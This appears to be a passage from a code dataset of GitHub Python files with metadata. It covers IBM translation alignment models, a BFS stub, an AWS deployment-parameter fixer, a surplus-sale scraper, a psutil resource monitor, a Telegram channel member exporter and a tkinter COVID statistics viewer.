foreign:\n s_total[word] += table_ef[word][for_word]\n\n for word in eng:\n for for_word in foreign:\n count_ef[word][for_word] += (table_ef[word][for_word] /\n s_total[word])\n total_f[for_word] += (table_ef[word][for_word] /\n s_total[word])\n\n for for_word in foreign_words:\n for word in eng_words:\n table_ef[word][for_word] = (count_ef[word][for_word] /\n total_f[for_word])\n \n\n iteration += 1\n\n return table_ef\n\n \ndef ibm_model2(sentence_pairs, iterations):\n\n table_ef = ibm_model1(sentence_pairs, iterations)\n \n a = defaultdict(lambda: defaultdict(lambda: defaultdict(\n lambda: defaultdict(float))))\n\n eng_words = []\n foreign_words = []\n\n for (eng, foreign) in sentence_pairs:\n for word in eng:\n if word not in eng_words:\n eng_words.append(word)\n\n for word in foreign:\n if word not in foreign_words:\n foreign_words.append(word)\n\n #Initialize alignment\n\n for (eng, foreign) in sentence_pairs:\n l_e = len(eng)\n l_f = len(foreign)\n \n i = 0\n while(i < l_f):\n j = 1\n while(j < l_e+1):\n a[i][j][l_e][l_f] = 1 / (l_f + 1)\n j += 1\n i += 1\n \n iteration = 0\n while(iteration < iterations):\n\n # initialize\n count_ef = defaultdict(lambda: defaultdict(lambda: 0.0))\n total_f = defaultdict(lambda: 0.0)\n count_a = defaultdict(lambda: defaultdict(\n lambda: defaultdict(lambda: defaultdict(lambda: 0.0))))\n total_a = defaultdict(lambda: defaultdict(\n lambda: defaultdict(lambda: 0.0))) \n s_total = defaultdict(float)\n \n for (eng, foreign) in sentence_pairs:\n l_e = len(eng)\n l_f = len(foreign)\n \n # compute normalization\n for j in range(1, l_e+1):\n en_word = eng[j-1]\n s_total[en_word] = 0\n \n for i in range(0, l_f):\n s_total[en_word] += (table_ef[en_word][foreign[i]] *\n a[i][j][l_e][l_f])\n\n # collect counts\n for j in range(1, l_e+1): \n en_word = eng[j-1]\n\n for i in range(0, l_f):\n for_word = foreign[i]\n \n c = (table_ef[en_word][for_word] * a[i][j][l_e][l_f] /\n s_total[en_word])\n count_ef[en_word][for_word] += c\n total_f[for_word] += c\n count_a[i][j][l_e][l_f] += c\n total_a[j][l_e][l_f] += c\n\n # estimate probabilities\n table_ef = defaultdict(lambda: defaultdict(lambda: 0.0))\n a = defaultdict(lambda: defaultdict(\n lambda: defaultdict(lambda:defaultdict(lambda: 0.0))))\n\n for word in eng_words:\n for for_word in foreign_words:\n table_ef[word][for_word] = (count_ef[word][for_word] /\n total_f[for_word])\n\n for (eng, foreign) in sentence_pairs:\n l_e = len(eng)\n l_f = len(foreign)\n \n for j in range(1, l_e+1):\n for i in range(0, l_f):\n a[i][j][l_e][l_f] = (count_a[i][j][l_e][l_f] /\n total_a[j][l_e][l_f])\n\n iteration += 1\n return a, table_ef\n\ndef test_IBMModel2(numSentences):\n\n no_of_sentences = numSentences\n \n sentences = comtrans.aligned_sents()[:no_of_sentences]\n sent_pairs = []\n\n # Adding the None values to the foreign sentences and constructing them\n # into the correct format to use with the ibm_model2()\n for sentence in sentences:\n eng_words = sentence.mots\n foreign_words = [None] + sentence.words\n sent_pairs.append((eng_words,foreign_words))\n\n align, t_ef = ibm_model2(sent_pairs, 15)\n\n fin_align = [] # The list of final alignments\n\n # Finding the best alignment for each of the words in the sentences\n for (e, f) in sent_pairs:\n l_e = len(e)\n l_f = len(f)\n curr_align = []\n for i in range(1, l_e+1):\n max_prob = -1\n for j in range(1, l_f+1):\n prob = align[j][i][l_e][l_f]\n if max_prob < prob:\n max_prob = prob\n max_j = j\n curr_align.append((i-1, max_j-1))\n \n fin_align.append(curr_align)\n\n # Calculating the precision of the alignments\n avg_precision = 0\n count = 0\n for sent_alignments in fin_align:\n algn = ''\n for (e, f) in sent_alignments:\n algn += \"%d-%d \" %(f,e)\n\n avg_precision += sentences[count].precision(algn)\n count += 1\n\n avg_precision /= count\n\n return avg_precision\n \n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n\n\n\n\n#####################################################################\n# IBM Model 3 : INCOMPLETE - Can't run it because it's not complete #\n#####################################################################\n\n'''\ndef ibm_model3(sentence_pairs, iterations):\n\n d, t_ef = ibm_model2(sentence_pairs, 10)\n\n iteration = 0\n while(iteration < iterations):\n\n count_t = defaultdict(lambda: defaultdict(lambda: 0.0))\n count_d = defaultdict(lambda: defaultdict(lambda: 0.0))\n count_f = defaultdict(lambda: defaultdict(lambda: 0.0))\n count_p1 = 0\n count_p0 = 0\n\n total_t = defaultdict(lambda: 0.0)\n total_d = defaultdict(lambda: defaultdict(lambda: defaultdict(\n lambda: 0.0)))\n total_f = defaultdict(lambda: 0.0)\n\n for (eng, foreign) in sentence_pairs:\n A = sample(eng, foreign, t_ef, d)\n\n c_total = 0\n \n return 0\n\n\ndef sample(e, f, t_ef, d):\n\n a = defaultdict(float)\n \n l_f = len(f)\n l_e = len(e)\n for j in range(0, l_f):\n for i in range(1, l_e):\n a[j] = i # pegging one alignment point\n for j_inv in range(0, l_f):\n if j_inv != j:\n a[j_inv] = argmax(e, f, j_inv, t_ef, d)\n\n new_a = hillclimb(a, j, e, f, d)\n\n # add neighboring(a,j) to set A\n\ndef hillclimb(a, j_pegged, e, f, d):\n \n while True:\n a_old = a\n for a_neighbor in neighboring(a, j_pegged):\n \n \n return a\n \ndef argmax(e, f, j_inv, t_ef, d):\n max_trans = -1.0\n max_trans_index = []\n\n final_i = None\n \n # find the most probable translation 1st\n for i in range(0, len(f)):\n prob = t_ef[e[j_inv]][f[i]]\n if prob > max_trans:\n max_trans = prob\n max_trans_index.append(i)\n\n # if the word has a probability of translating to another word\n # and has equal probability to previous translations\n elif prob == max_trans and max_trans_index != None:\n max_trans_index.append(i)\n\n max_prob_align = -1.0\n\n l_e = len(e)\n l_f = len(f)\n \n for idx in max_trans_index:\n prob_align = d[idx][j_inv][l_e][l_f]\n if prob_align > max_prob_align:\n max_prob_align = prob_align\n final_i = idx\n \n return final_i\n'''\n", "repo_name": "calvintl/COMP90042", "sub_path": "Project1.py", "file_name": "Project1.py", "file_ext": "py", "file_size_in_byte": 19021, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.defaultdict", "line_number": 238, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 239, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 240, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 241, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 284, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 285, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 317, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 318, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 319, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 320, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 321, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 322, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 323, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 353, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 354, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 355, "usage_type": "call"}, {"api_name": "nltk.corpus.comtrans.aligned_sents", "line_number": 378, "usage_type": "call"}, {"api_name": "nltk.corpus.comtrans", "line_number": 378, "usage_type": "name"}, {"api_name": "doctest.testmod", "line_number": 426, "usage_type": "call"}]} {"seq_id": "21885201698", "text": "# BFS\r\n# BFS uses QUEUE and ITERATION\r\n# In trees its known as level order traversal\r\n\r\nfrom collections import deque\r\nfrom collections import defaultdict\r\n\r\ndef bfs(graph,start ,visited, path):\r\n queue= deque()\r\n \r\n\r\n\r\ngraph = defaultdict(list)\r\nv,e = [int(x) for x in input().split()]\r\nfor i in range(e):\r\n u,v = map(str, input().split())\r\n graph[u].append(v)\r\n graph[v].append(u)\r\n\r\nstart=\"A\"\r\npath=[]\r\nvisited = defaultdict(bool)\r\ntravesepath= bfs(graph, start, visited, path )\r\n", "repo_name": "Avimehta14/Python-DSA", "sub_path": "BFSgraph.py", "file_name": "BFSgraph.py", "file_ext": "py", "file_size_in_byte": 499, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.deque", "line_number": 9, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 13, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 22, "usage_type": "call"}]} {"seq_id": "33891613047", "text": "import copy\n\nfrom typing import Any, Dict\n\n\nclass Fixer:\n def __init__(self, kwargs: Dict[str, Any]):\n self.__kwargs = kwargs\n\n def get(self) -> Dict[str, Any]:\n return copy.deepcopy(self.__kwargs)\n\n def fix(self) -> 'Fixer':\n \"\"\"\n Fixes lambda event resource parameters to comply with boto3 library parameters.\n\n :return: No return.\n \"\"\"\n # All of the resource properties come with capitalized keys. Boto3 parameters start from lowercase.\n # Make sure to convert uppercase first char to a lowercase.\n self.__kwargs = {self.__inverse_capitalize(key): value for key, value in self.__kwargs.items()}\n\n if self.__kwargs.get('autoRollbackConfiguration', {}).get('enabled') in ['true', 'True', True]:\n self.__kwargs['autoRollbackConfiguration']['enabled'] = True\n\n if self.__kwargs.get('autoRollbackConfiguration', {}).get('enabled') in ['false', 'False', False]:\n self.__kwargs['autoRollbackConfiguration']['enabled'] = False\n\n value = self.__kwargs.get('blueGreenDeploymentConfiguration', {}).get('terminateBlueInstancesOnDeploymentSuccess', {}).get('terminationWaitTimeInMinutes')\n if value:\n self.__kwargs['blueGreenDeploymentConfiguration']['terminateBlueInstancesOnDeploymentSuccess']['terminationWaitTimeInMinutes'] = int(value)\n\n return self\n\n @staticmethod\n def __inverse_capitalize(string: str) -> str:\n string = list(string)\n first = string[0].lower()\n string[0] = first\n return ''.join(string)\n", "repo_name": "laimonassutkus/AwsCfCustomResources", "sub_path": "aws_cf_custom_resources/deployment_group/package/fixer.py", "file_name": "fixer.py", "file_ext": "py", "file_size_in_byte": 1575, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.Dict", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 7, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 11, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 10, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 10, "usage_type": "name"}]} {"seq_id": "18227554805", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport re\nimport sqlite3\nimport requests\nfrom bs4 import BeautifulSoup as bs\nimport persistqueue as pq\nimport pathlib2 as pathlib\n\n\nclass SurplusItem:\n def __init__(self, status, title, price, quantity, image, link):\n self.status = status\n self.title = title\n self.price = price\n self.quantity = quantity\n self.image = image\n self.link = link\n\n def print(self):\n print(\"***** Item *****\")\n print(\"Title: {}\".format(self.title))\n print(\"Status: {}\".format(self.status))\n print(\"Price: {}\".format(self.price))\n print(\"Quant: {}\".format(self.quantity))\n print(\"Image: {}\".format(self.image))\n print(\"Link : {}\".format(self.link))\n print(\"\")\n\n def __eq__(self, other):\n return self.__dict__ == other.__dict__\n\n def __hash__(self):\n return (hash(self.status) ^\n hash(self.title) ^\n hash(self.price) ^\n hash(self.quantity) ^\n hash(self.image) ^\n hash(self.link))\n\n\nclass SurplusScraper:\n def scrape_from_grid(self, bs_item):\n grid_title_el = bs_item.find_all(\"div\", class_=\"views-field-title\")\n if not grid_title_el:\n return None\n\n base_url = \"https://www.pdx.edu\"\n node_url = \"{}{}\".format(base_url, grid_title_el[0].find('a')['href'])\n return self.scrape(node_url)\n\n def scrape(self, node_url):\n content = requests.get(node_url)\n node = bs(content.text, 'html.parser')\n\n status = SurplusScraper.status(node)\n title = SurplusScraper.title(node)\n price = SurplusScraper.price(node)\n quantity = SurplusScraper.quantity(node)\n image = SurplusScraper.image(node)\n link = node_url\n item = SurplusItem(status, title, price, quantity, image, link)\n item.print()\n return item\n\n @staticmethod\n def status(item):\n status_el = item.find_all(\"h5\", class_=\"item-sold\")\n if status_el:\n status_text = status_el[0].text\n return re.sub(r'^status: ?', '', status_text, flags=re.IGNORECASE)\n return \"\"\n\n @staticmethod\n def title(item):\n title_el = item.find_all(\"h1\", class_=\"title\")\n if title_el:\n return title_el[0].text\n return \"\"\n\n @staticmethod\n def price(item):\n price_el = item.find_all(\"ul\", class_=\"prices\")\n if price_el:\n return price_el[0].find('li').text\n return \"\"\n\n @staticmethod\n def quantity(item):\n quantity_el = item.find_all(\"div\", class_=\"item-quantity\")\n if quantity_el:\n return quantity_el[0].find('p', class_=\"value\").text\n return \"\"\n\n @staticmethod\n def image(item):\n image_el = item.find_all(\"div\", class_=\"item-image-area\")\n if image_el:\n image_src = image_el[0].find('img')['src']\n if (image_src.startswith('/')):\n image_src = \"https://www.pdx.edu{}\".format(image_src)\n return image_src\n return \"\"\n\n\n\nclass SurplusDb:\n def __init__(self, db_file):\n self.conn = sqlite3.connect(db_file)\n self.c = self.conn.cursor()\n\n # Create table if it doesn't exist\n self.c.execute('''CREATE TABLE IF NOT EXISTS surplus (\n status text,\n title text,\n price text,\n quantity text,\n image text,\n link text\n )''')\n\n def get_all(self):\n self.c.execute('SELECT * FROM surplus')\n return [SurplusItem(i[0], i[1], i[2], i[3], i[4], i[5])\n for i\n in self.c.fetchall()]\n\n def insert_item(self, surplus_item):\n item = (surplus_item.status,\n surplus_item.title,\n surplus_item.price,\n surplus_item.quantity,\n surplus_item.image,\n surplus_item.link,)\n self.c.execute('''INSERT INTO surplus VALUES (?,?,?,?,?,?)''', item)\n self.conn.commit()\n\n def insert_items(self, surplus_item_list):\n for i in surplus_item_list:\n self.insert_item(i)\n\n def clear(self):\n self.c.execute('''DELETE FROM surplus''')\n self.conn.commit()\n\n\ndef scrape():\n url = 'https://www.pdx.edu/surplus/items-for-sale?page={}'\n\n all_items = []\n for i in [0, 1, 2, 3, 4, 5]:\n page_url = url.format(i)\n content = requests.get(page_url)\n doc = bs(content.text, 'html.parser')\n items = doc.select('.views-row')\n all_items.extend([SurplusScraper().scrape_from_grid(i) for i in items])\n return all_items\n\n\ndef check_removed(db_items, scraped_items, scraper):\n removed = []\n not_removed = []\n change_candidates = []\n\n for cnt_i, i in enumerate(db_items):\n db_item_found = False\n for cnt_j, j in enumerate(scraped_items):\n if i.link == j.link:\n change_candidates.append((cnt_i, cnt_j))\n db_item_found = True\n if not db_item_found:\n removal_candidate = scraper.scrape(i.link)\n if removal_candidate.status != \"Current\":\n removed.append(removal_candidate)\n else:\n not_removed.append(removal_candidate)\n return removed, not_removed, change_candidates\n\n\ndef check_added(db_items, scraped_items):\n added = []\n\n for i in scraped_items:\n if i.quantity == \"SOLD OUT\":\n continue\n scraped_item_found = False\n for j in db_items:\n if i.link == j.link:\n scraped_item_found = True\n if not scraped_item_found:\n added.append(i)\n return added\n\n\ndef check_modified(change_candidates, removed, db_items, scraped_items):\n modified = []\n marked_for_removal = []\n\n for i, j in change_candidates:\n if db_items[i] != scraped_items[j]:\n if scraped_items[j].quantity == \"SOLD OUT\":\n removed.append(scraped_items[j])\n marked_for_removal.append(j)\n else:\n modified.append((db_items[i], scraped_items[j]))\n return modified, marked_for_removal, removed\n\n\ndef run(db_items, scraped_items, scraper):\n removed, not_removed, change_candidates = check_removed(db_items,\n scraped_items,\n scraper)\n\n added = check_added(db_items,\n scraped_items)\n\n modified, marked_for_removal, removed = check_modified(change_candidates,\n removed,\n db_items,\n scraped_items)\n\n for index in sorted(marked_for_removal, reverse=True):\n del scraped_items[index]\n\n return (added, removed, modified, not_removed + scraped_items)\n\n\ndef generate_events(added, removed, changed):\n\n def make_simple_event(event_name, item):\n return {\n 'event': event_name,\n 'title': item.title,\n 'price': item.price,\n 'quantity': item.quantity,\n 'image': item.image,\n 'link': item.link,\n }\n\n def make_change_event(event_name, item):\n (old_item, new_item) = item\n changed_fields = []\n if old_item.title != new_item.title:\n changed_fields.append('title')\n if old_item.price != new_item.price:\n changed_fields.append('price')\n if old_item.quantity != new_item.quantity:\n changed_fields.append('quantity')\n if old_item.image != new_item.image:\n changed_fields.append('image')\n\n return {\n 'event': event_name,\n 'title': new_item.title,\n 'price': new_item.price,\n 'quantity': new_item.quantity,\n 'image': new_item.image,\n 'link': new_item.link,\n 'changed': changed_fields,\n }\n\n event_map = [('removed', removed, make_simple_event),\n ('added', added, make_simple_event),\n ('changed', changed, make_change_event)]\n\n events = []\n for (event_type, event_list, event_generator) in event_map:\n print(\"{}:\".format(event_type))\n events.extend([event_generator(event_type, item) for item in event_list])\n\n return events\n\n\ndef send_to_queues(events):\n\n def create_queue(queue_name):\n return pq.SQLiteQueue(\"db/{}\".format(queue_name), auto_commit=True)\n\n queues = [create_queue(t) for t in ['slack', 'irc', 'rocket', 'twitter']]\n\n for event in events:\n for queue in queues:\n queue.put(event)\n\n\ndef main():\n pathlib.Path('db').mkdir(parents=True, exist_ok=True)\n db = SurplusDb('db/surplus.db')\n\n db_items = db.get_all()\n scraped_items = scrape()\n\n (added, removed, modified, new_db_items) = run(db_items, scraped_items, SurplusScraper())\n\n events = generate_events(added, removed, modified)\n send_to_queues(events)\n\n db.clear()\n db.insert_items(new_db_items)\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "rattboi/surplus-bot", "sub_path": "surplus/collect.py", "file_name": "collect.py", "file_ext": "py", "file_size_in_byte": 9255, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.get", "line_number": 54, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 55, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 72, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 72, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 110, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 154, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 155, "usage_type": "call"}, {"api_name": "persistqueue.SQLiteQueue", "line_number": 278, "usage_type": "call"}, {"api_name": "pathlib2.Path", "line_number": 288, "usage_type": "call"}]} {"seq_id": "20014648330", "text": "import os\nimport sys\nsys.path.append(os.path.dirname(os.path.realpath(__file__)))\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom sample import *\n\nif __name__ == \"__main__\":\n sample_mnd = SampleMND.SampleMND(\n 2, 3,\n np.array([\n [0, 0],\n [0, 4],\n [-6, 2]\n ]),\n [\n 0.8,\n 0.1,\n 0.1\n ],\n np.array([\n [\n [1, 0.5],\n [-0.5, 1],\n ],\n [\n [0.15, 0.25],\n [-0.25, 0.5],\n ],\n [\n [4, 0.5],\n [-0.5, 1],\n ],\n ]))\n\n r, r_c = sample_mnd.gen(500);\n r_colors = [\"r\", \"g\", \"b\"]\n\n for i in range(len(r)):\n plt.scatter(r[i][0], r[i][1], alpha=0.3, color=r_colors[r_c[i]])\n\n plt.grid(True)\n plt.show()", "repo_name": "rotanov/way-station", "sub_path": "male-dami-2014/vis-2d-mnd-sample.py", "file_name": "vis-2d-mnd-sample.py", "file_ext": "py", "file_size_in_byte": 884, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 3, "usage_type": "call"}, {"api_name": "os.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 3, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}]} {"seq_id": "16994937569", "text": "from telethon import TelegramClient, sync\nimport csv\nimport codecs\n\n\ndef public(api_id, api_hash):\n # auth\n client = TelegramClient('sphere_irens', api_id, api_hash).start()\n # request for target channel\n try:\n channel = str(input('Enter adress of channel ( in invite link AFTER t.me\\\\ ): ')).lower().strip()\n except:\n print(\"Incorrect name\")\n # asking user to set the final file's name\n fname = str(input(\"Enter file name, for changing/creating csv file (in script directory): \")).lower().strip()\n # create final array\n users = []\n channel = client.get_entity(channel)\n\n # get all the users and print them\n try:\n for u in client.get_participants(channel):\n users.append({\"id\": u.id, \"first_name\":u.first_name, \"last_name\": u.last_name,\"username\": u.username})\n\n with codecs.open(f'{fname}.csv', 'w', 'utf-8-sig') as f:\n writer = csv.DictWriter(\n f, fieldnames=list(users[0].keys()), quoting=csv.QUOTE_NONNUMERIC)\n writer.writeheader()\n for d in users:\n writer.writerow(d)\n print(f'Файл успешно сохранен как {fname}.csv!')\n except:\n print('Либо вы не являетесь администратором канала, либо канала не существует')\n\n", "repo_name": "HolyRave/channel_userdata_parser", "sub_path": "public.py", "file_name": "public.py", "file_ext": "py", "file_size_in_byte": 1349, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "telethon.TelegramClient", "line_number": 8, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 25, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 26, "usage_type": "call"}, {"api_name": "csv.QUOTE_NONNUMERIC", "line_number": 27, "usage_type": "attribute"}]} {"seq_id": "19186421536", "text": "'''\n监控服务器的CPU、内存、磁盘、网络\n'''\n\n\nimport psutil\n\nprint(psutil.cpu_percent())#cpu\nprint(psutil.virtual_memory())#内存\nprint(psutil.virtual_memory().percent)#内存百分比\nprint(psutil.disk_usage(\"d:/\"))#磁盘\nprint(psutil.disk_usage(\"d:/\").percent)#磁盘的百分比\nprint(psutil.net_io_counters())#网络IO\nprint(psutil.net_io_counters().bytes_sent)#发送的字节数\nprint(psutil.net_io_counters().bytes_recv)#接收的字节数\n\n\n# 死循环，每隔3s获取数据，把数据写到文件中\n# 首行：时间戳 CPU百分比 内存百分比 磁盘百分比 发送字节数 接收字节数\n\nfrom datetime import datetime\nfrom time import sleep\nwith open(\"d:/监控.txt\",mode='a',encoding='utf-8') as f:\n f.write(\"时间\\tCpu百分比\\t内存百分比\\t磁盘百分比\\t发送字节数\\t接收字节数\\n\")\n print(\"监控中\")\n while True:\n print()\n t = datetime.strftime(datetime.now(),\"%Y-%m-%d %H:%M:%S\")\n c = psutil.cpu_percent()\n v = psutil.virtual_memory().percent\n d = psutil.disk_usage(\"d:/\").percent\n ns = psutil.net_io_counters().bytes_sent\n nr = psutil.net_io_counters().bytes_recv\n f.write(f\"{t}\\t{c}\\t{v}\\t{d}\\t{ns}\\t{nr}\\n\")\n f.flush()#从缓存写入文件\n sleep(3)\n\n\n\n\n\n\n", "repo_name": "bai345767318/python-java", "sub_path": "python/APIAutoTest/f03.py", "file_name": "f03.py", "file_ext": "py", "file_size_in_byte": 1300, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "psutil.cpu_percent", "line_number": 8, "usage_type": "call"}, {"api_name": "psutil.virtual_memory", "line_number": 9, "usage_type": "call"}, {"api_name": "psutil.virtual_memory", "line_number": 10, "usage_type": "call"}, {"api_name": "psutil.disk_usage", "line_number": 11, "usage_type": "call"}, {"api_name": "psutil.disk_usage", "line_number": 12, "usage_type": "call"}, {"api_name": "psutil.net_io_counters", "line_number": 13, "usage_type": "call"}, {"api_name": "psutil.net_io_counters", "line_number": 14, "usage_type": "call"}, {"api_name": "psutil.net_io_counters", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime.strftime", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 28, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 28, "usage_type": "call"}, {"api_name": "psutil.cpu_percent", "line_number": 29, "usage_type": "call"}, {"api_name": "psutil.virtual_memory", "line_number": 30, "usage_type": "call"}, {"api_name": "psutil.disk_usage", "line_number": 31, "usage_type": "call"}, {"api_name": "psutil.net_io_counters", "line_number": 32, "usage_type": "call"}, {"api_name": "psutil.net_io_counters", "line_number": 33, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 36, "usage_type": "call"}]} {"seq_id": "19579481496", "text": "import pandas as pd\nimport tkinter\nimport tkinter.font\nfrom tkinter import messagebox\nfrom PIL import Image\nfrom PIL import ImageTk\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\nclass Covid(tkinter.Frame):\n\n def __init__(self,path,window=None, title=None, geometry=None):\n super().__init__(window)\n self.window = window\n self.window.title(title)\n self.window.geometry(geometry)\n self.window.resizable(False,False)\n self.window['bg'] = '#666666'\n self.font = tkinter.font.Font(family=\"한컴 솔잎 B\", size=9)\n\n self.month = ['Apr.','May','June','July','Aug.','Sept.','Oct.','Nov.','Dec.','Total']\n self.month2 = [4,5,6,7,8,9,10,11,12,'total']\n self.raVal = tkinter.IntVar()\n\n self.df = None\n self.status = None\n self.preprocessing(path)\n\n self.subfr1 = None\n self.subfr2 = None\n self.subfr3 = None\n\n self.ui()\n self.background()\n\n def background(self):\n self.img = Image.open('covid.jpg')\n self.background = ImageTk.PhotoImage(image=self.img)\n self.background_label = tkinter.Label(self.window, image=self.background)\n self.background_label.pack()\n\n def preprocessing(self,path):\n self.df = pd.read_csv(path, index_col='date', parse_dates=['date'])\n self.df = self.df.dropna()\n self.df = self.df[self.df.index >= '2020-04-01']\n a = self.df.groupby('country').max()[['cumulative_total_cases', 'cumulative_total_deaths']]\n b = self.df.loc['2020-12-26', ['active_cases', 'country']].groupby('country').max()\n self.status = a.merge(b, on='country')\n\n def ui(self):\n self.subfr1 = tkinter.Frame(self.window)\n self.subfr1.pack(side='left')\n self.subfr1['bg'] = '#999999'\n self.subfr2 = tkinter.Frame(self.window)\n self.subfr2.pack(side='right')\n self.subfr3 = tkinter.Frame(self.subfr1)\n self.subfr3.pack(side='bottom')\n\n self.button0 = tkinter.Button(self.subfr1, text='Show Countries',bg='#999999',width=20, command=self.showCountries)\n self.button0.pack(side='top')\n\n for idx, i in enumerate(self.month):\n r = tkinter.Radiobutton(self.subfr1, text=i,bg='#999999', variable=self.raVal, value=idx)\n r.pack(side='top')\n\n self.label1 = tkinter.Label(self.subfr1,bg='#999999', text='country : ')\n self.label1.pack(side='left')\n\n self.entry1 = tkinter.Entry(self.subfr1)\n self.entry1.pack(side='left')\n\n self.button1 = tkinter.Button(self.subfr1, text='검색',bg='#999999', command=self.plot)\n self.button1.pack(side='left')\n\n def showCountries(self):\n ff2 = self.subfr2.pack_slaves()\n for i in ff2:\n i.destroy()\n countries = self.df['country'].unique()\n self.label0 = tkinter.Label(self.subfr2, text=countries, font=self.font)\n self.label0.pack(side='top', anchor='w')\n\n def plot(self):\n try:\n self.label0.destroy()\n except Exception as e:\n pass\n ff2, ff3 = self.subfr2.pack_slaves(), self.subfr3.pack_slaves()\n for i, j in zip(ff2, ff3):\n i.destroy()\n j.destroy()\n\n if self.entry1.get() == '':\n messagebox.showinfo(title='error', message='나라명을 작성해주세요.')\n return\n try:\n month = self.month2[self.raVal.get()]\n country = self.entry1.get()\n\n status = self.status.loc[country].values.astype('int32')\n\n self.label2 = tkinter.Label(self.subfr3, text=f'누적 확진자 수:{status[0]}명\\n\\n누적 사망자 수:{status[1]}명\\n\\n현재 감염자 수:{status[2]}명', font=self.font)\n self.label2.pack(side='bottom', anchor='w')\n\n if month == 'total':\n df = self.df\n df = df[df['country'] == country]\n fig, axes = plt.subplots(2, 1, figsize=(8, 6), sharex=True)\n axes[0].plot(df.index, df['daily_new_cases'], color='r')\n axes[0].set_title(f'Number of infected in {country}')\n axes[0].set_ylabel('infected number')\n axes[1].plot(df.index, df['daily_new_deaths'], color='b')\n axes[1].set_title(f'Number of dead in {country}')\n axes[1].set_ylabel('dead number')\n plt.xticks(rotation=90)\n\n else:\n df = self.df.loc['2020-'+str(month)]\n df = df[df['country'] == country]\n fig, axes = plt.subplots(2, 1, figsize=(8, 6), sharex=True)\n axes[0].plot(df.index, df['daily_new_cases'], color='r', marker='o', )\n axes[0].set_title(f'Number of infected in {country}')\n axes[0].set_ylabel('infected number')\n axes[1].plot(df.index, df['daily_new_deaths'], color='b', marker='o')\n axes[1].set_title(f'Number of dead in {country}')\n axes[1].set_ylabel('dead number')\n plt.xticks(df.index, rotation=90)\n\n plt.tight_layout()\n self.line = FigureCanvasTkAgg(fig,self.subfr2)\n self.line.get_tk_widget().pack(side='left')\n\n except Exception as e:\n messagebox.showinfo(title='error', message='나라명을 제대로 작성해주세요.')\n return\n\ndef main():\n window = tkinter.Tk()\n title = 'COVID19 Infomation'\n geometry = ('1000x540')\n path = 'covid.csv'\n a = Covid(path,window,title,geometry)\n a.mainloop()\n\nmain()\n", "repo_name": "visionhong/Basics", "sub_path": "Mini_Project/Covid/Covid.py", "file_name": "Covid.py", "file_ext": "py", "file_size_in_byte": 5662, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "warnings.filterwarnings", "line_number": 10, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 